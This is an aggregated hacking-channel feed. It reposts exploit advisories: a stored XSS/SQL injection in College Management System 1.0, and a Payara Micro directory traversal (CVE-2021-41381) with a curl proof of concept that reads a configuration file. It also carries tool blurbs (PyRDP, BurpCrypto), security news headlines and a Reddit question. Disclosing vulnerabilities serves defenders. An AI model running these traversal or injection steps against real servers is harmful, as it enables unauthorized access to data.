Exploit Collector
College Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
College Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | fbedbfd2771cf6a28832ff287eefc9b4

Download
# Exploit Title: college management system - Stored Cross-Site Scripting (XSS) Unauthenticated
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://www.eedunext.com/
# Software Link: https://code-projects.org/college-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Kali Linux
in admin/time-table.php in line 1 :
session_start();
if (!$_SESSION["LoginAdmin"])
{
header('location:../login/login.php');
}
require_once "../connection/connection.php";
?>
in admin/time-table.php in line 17 - 27 :

$course_code=$_POST["course_code"];

$semester=$_POST["semester"];

$timing_from=$_POST["timing_from"];

$timing_to=$_POST["timing_to"];

$day=$_POST["day"];

$subject_code=$_POST["subject_code"];

$room_no=$_POST["room_no"];
is vulnerable to XSS and SqlInjection
--
Table structure for table `time_table`
--

CREATE TABLE `time_table` (
`id` int(11) NOT NULL,
`course_code` varchar(10) NOT NULL,
`semester` int(11) NOT NULL,
`timing_from` varchar(10) NOT NULL,
`timing_to` varchar(10) NOT NULL,
`day` varchar(20) NOT NULL,
`subject_code` varchar(20) NOT NULL,
`room_no` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
20 char
POC :
XSS
Add Time Table
day No:
subject_code No:
Close

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PyRDP RDP Man-In-The-Middle Tool

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
PyRDP is a Python Remote Desktop Protocol (RDP) Monster-in-the-Middle (MITM) tool and library.

MD5 | 06c0d9021f660b1493c9e09fb8e332da

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Company's Recruitment Management System SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Payara Micro Community 5.2021.6 Directory Traversal

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
Payara Micro Community version 5.2021.6 suffers from a directory traversal vulnerability.

MD5 | facaade4d9c2aaf474e859daee70da16

Download
# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
# Date: 01/10/2021
# Exploit Author: Yasser Khan (N3T_hunt3r)
# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
# Version: Payara Micro Community 5.2021.6
# Tested on: Linux/Windows OS
# CVE : CVE-2021-41381

https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Proof of Concept:

Step1: Open the browser check the version of the payara software

Step2: Add this Path at end of the URL
/.//WEB-INF/classes/META-INF/microprofile-config.properties

Step3: Check the response with match containing
"payara.security.openid.default.providerURI="

"payara.security.openid.sessionScopedConfiguration=true"

Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.

Step5: Alternatively we can use CURL by using this command:

Request:
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties

Reference:

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

BurpCrypto - A Collection Of Burpsuite Encryption Plug-Ins, Support AES/RSA/DES/ExecJs(execute JS Encryption Code In Burpsuite)
http://www.kitploit.com/2021/10/burpcrypto-collection-of-burpsuite.html

___________________________
@hacking_Attack
@Hacking_Video

Burpcrypto is a collection of burpsuite (https://www.kitploit.com/search/label/Burpsuite) encryption (https://www.kitploit.com/search/label/Encryption) plug-ins, supporting AES/RSA/DES/ExecJs(execute JS encryption code in burpsuite).
Build
$ mvn package
Usage
中文使用说明 (https://blog.wanghw.cn/burpcrypto)Download the precompiled jar (https://www.kitploit.com/search/label/JAR) package from Releases (https://github.com/whwlsfb/BurpCrypto/releases).Add this jar package to your burpsuite's Extensions.Switch to BurpCrypto tab, select you need Cipher tab.Set key or some value.press "Add processor", and give a name for this processor.Switch to Intruder->Payloads->Payload Processing.press "Add", select "Invoke Burp (https://www.kitploit.com/search/label/Burp) extension", and select processor you just created.press "Start attack", have fun!
Key Example
Aes Key(UTF8String): abcdefgabcdefg12Aes IV(UTF8String): abcdefgabcdefg12Rsa X509 Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC0hrRIjb3noDWNtbDpANbjt5Iwu2NFeDwU16Ec87ToqeoIm2KI+cOs81JP9aTDk/jkAlU97mN8wZkEMDr5utAZtMVht7GLX33Wx9XjqxUsDfsGkqNL8dXJklWDu9Zh80Ui2Ug+340d5dZtKtd+nv09QZqGjdnSp9PTfFDBY133QIDAQABRsa Modulus: ca27d90f03753cbbc9958011baf701ac99305b63f68e26ab5617593e01d2fb519127fb87bafbe6e0472ec3a038575fa292adadbc79390a955a61b29431f78f4734773048a45dcf100e23cabf2df11a55aa90cd6b024a44eed1096c3b9e1408d46aae54d7291b82fe4b7867c5eaa45e9cc0ba7f7ae3e5593337c7dcbace2d02ed2fbbff26c6df8a32bb26be80603fcd94c6c8dbd67878d77b37fedcf808e3d8f469aaa7c65d033d547a5c8ea9bdd5c89b836c65852f355a5efd9c7137a186a62b5eb0e052c8be3096d3b51133f8a8c108292a296c99d37bad42bcc3f6c39fa5e583582942b4fc4e7ff4b6779fff5bbaddc65b19c7c57d8cdb39b1a994e08d4a2f50793d8f707d069c380baf0f64bfdce3b35d0b5c5c59348a35a082012aaf4991080abf518b55787969ff24186cb95f7e7218c904cf1dcaeb5bed723e305b83f2e85d6f116d2c7400f9e49d904db8a5a3a0701cdb579fbf3128511acd0f789ece1233ed926d705b3b0dfa34bf33f5ae4bdc611a602aa03aaae13400bc7ad3813ea4474dc62de3d0cb1f5aac277d895a75d38f9b920938fa6b1de35bd6132798c122403c685bdb6e5e24bbd70cfb3e968da0b8affd398e539e7c1e7add09891780bcbd278f3900499ae09cee0dc62e3f92e70001bab6d46261d2801a37f80d84d0e39fce6eaedf106a61b5961960641b9db0e4e23c770e6370ac5d61c6c9eb0f07Rsa Exponent: 010001DES Key: 12345678DESede Key: 123456781234567812345678
Screenshots
AES Example:

___________________________
@hacking_Attack
@Hacking_Video

ExecJs Example (Here is the modified MD5 (https://www.kitploit.com/search/label/MD5) algorithm):

___________________________
@hacking_Attack
@Hacking_Video

Quick Crypto:

___________________________
@hacking_Attack
@Hacking_Video

Download BurpCrypto (https://github.com/whwlsfb/BurpCrypto)

___________________________
@hacking_Attack
@Hacking_Video

BurpCrypto - A Collection Of Burpsuite Encryption Plug-Ins, Support AES/RSA/DES/ExecJs(execute JS Encryption Code In Burpsuite)

Burpcrypto is a collection of burpsuite encryption plug-ins, supporting AES/RSA/DES/ExecJs(execute JS encryption code in burpsuite).Build$ mvn packageUsage中文使用说明Download the precompiled jar package from Releases.Add this jar package to your burpsuite's Extensions.Switch to BurpCrypto tab, select you need Cipher tab.Set key or some value.press "Add processor", and give a name for this processor.Switch to Intruder->Payloads->Payload Processing.press "Add", select "Invoke Burp extension", and select processor you just created.press "Start attack", have fun!Key ExampleAes Key(UTF8String): abcdefgabcdefg12Aes IV(UTF8String): abcdefgabcdefg12Rsa X509 Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC0hrRIjb3noDWNtbDpANbjt5Iwu2NFeDwU16Ec87ToqeoIm2KI+cOs81JP9aTDk/jkAlU97mN8wZkEMDr5utAZtMVht7GLX33Wx9XjqxUsDfsGkqNL8dXJklWDu9Zh80Ui2Ug+340d5dZtKtd+nv09QZqGjdnSp9PTfFDBY133QIDAQABRsa Modulus: ca27d90f03753cbbc9958011baf701ac99305b63f68e26ab5617593e01d2fb519127fb87bafbe6e0472ec3a038575fa292adadbc79390a955a61b29431f78f4734773048a45dcf100e23cabf2df11a55aa90cd6b024a44eed1096c3b9e1408d46aae54d7291b82fe4b7867c5eaa45e9cc0ba7f7ae3e5593337c7dcbace2d02ed2fbbff26c6df8a32bb26be80603fcd94c6c8dbd67878d77b37fedcf808e3d8f469aaa7c65d033d547a5c8ea9bdd5c89b836c65852f355a5efd9c7137a186a62b5eb0e052c8be3096d3b51133f8a8c108292a296c99d37bad42bcc3f6c39fa5e583582942b4fc4e7ff4b6779fff5bbaddc65b19c7c57d8cdb39b1a994e08d4a2f50793d8f707d069c380baf0f64bfdce3b35d0b5c5c59348a35a082012aaf4991080abf518b55787969ff24186cb95f7e7218c904cf1dcaeb5bed723e305b83f2e85d6f116d2c7400f9e49d904db8a5a3a0701cdb579fbf3128511acd0f789ece1233ed926d705b3b0dfa34bf33f5ae4bdc611a602aa03aaae13400bc7ad3813ea4474dc62de3d0cb1f5aac277d895a75d38f9b920938fa6b1de35bd6132798c122403c685bdb6e5e24bbd70cfb3e968da0b8affd398e539e7c1e7add09891780bcbd278f3900499ae09cee0dc62e3f92e70001bab6d46261d2801a37f80d84d0e39fce6eaedf106a61b5961960641b9db0e4e23c770e6370ac5d61c6c9eb0f07Rsa Exponent: 010001DES Key: 12345678DESede Key: 123456781234567812345678ScreenshotsAES Example:ExecJs Example (Here is the modified MD5 algorithm):Quick Crypto: Download BurpCrypto
Read more...

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
BurpCrypto - A Collection Of Burpsuite Encryption Plug-Ins, Support AES/RSA/DES/ExecJs(execute JS Encryption Code In Burpsuite)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Name That Edge Toon: Mobile Monoliths

Feeling creative? Come up with a clever caption, and our panel of experts will reward the winner with a $25 Amazon gift card.

Dark Reading: Attacks/Breaches
Law Enforcement Agencies Seize $375K in Ukraine Ransomware Bust

A coordinated effort by law enforcement agencies is viewed as a good sign, but security analysts fear this is just the tip of the iceberg.

Dark Reading: Attacks/Breaches
New Atom Silo Ransomware Group Targets Confluence Servers

An attack that took place over two days used a recently disclosed vulnerability in Atlassian's Confluence collaboration software.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is there any attack that actually works nowadays?

I started taking an ethical hacking course and it hasn’t taken much for mento realize that most of (if not all) of the attacks are only working in theory but not in real life.

Here’s what I mean: -ARP spoofing only works with HTTP and nowadays 90% of the websites that people usually visit (Facebook, gmail, google, Reddit etc) are using HTTPS.

-any malware application that you make if you’re good enough with social engineering to have someone download the .exe file and open it then it will have windows defender warning about the not secure developer and if you’re good enough with Python then maybe you have a chance to write yourself your own backdoor that since it was never used before maybe it won’t be intercepted by an antivirus

-WPA is obsolete and most of modern routers now use WPA2 which is practically uncrackable if people leave it set at default (which most people just do) and if they change it you have to be lucky enough that they chose a stupid password that is inside some word list otherwise you have no chance

And so on...

So is hacking still possible today?

And by hacking I don’t mean stupid scams or phishing emails (that also most likely will just fall in the spam folder)

submitted by /u/hatecall
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video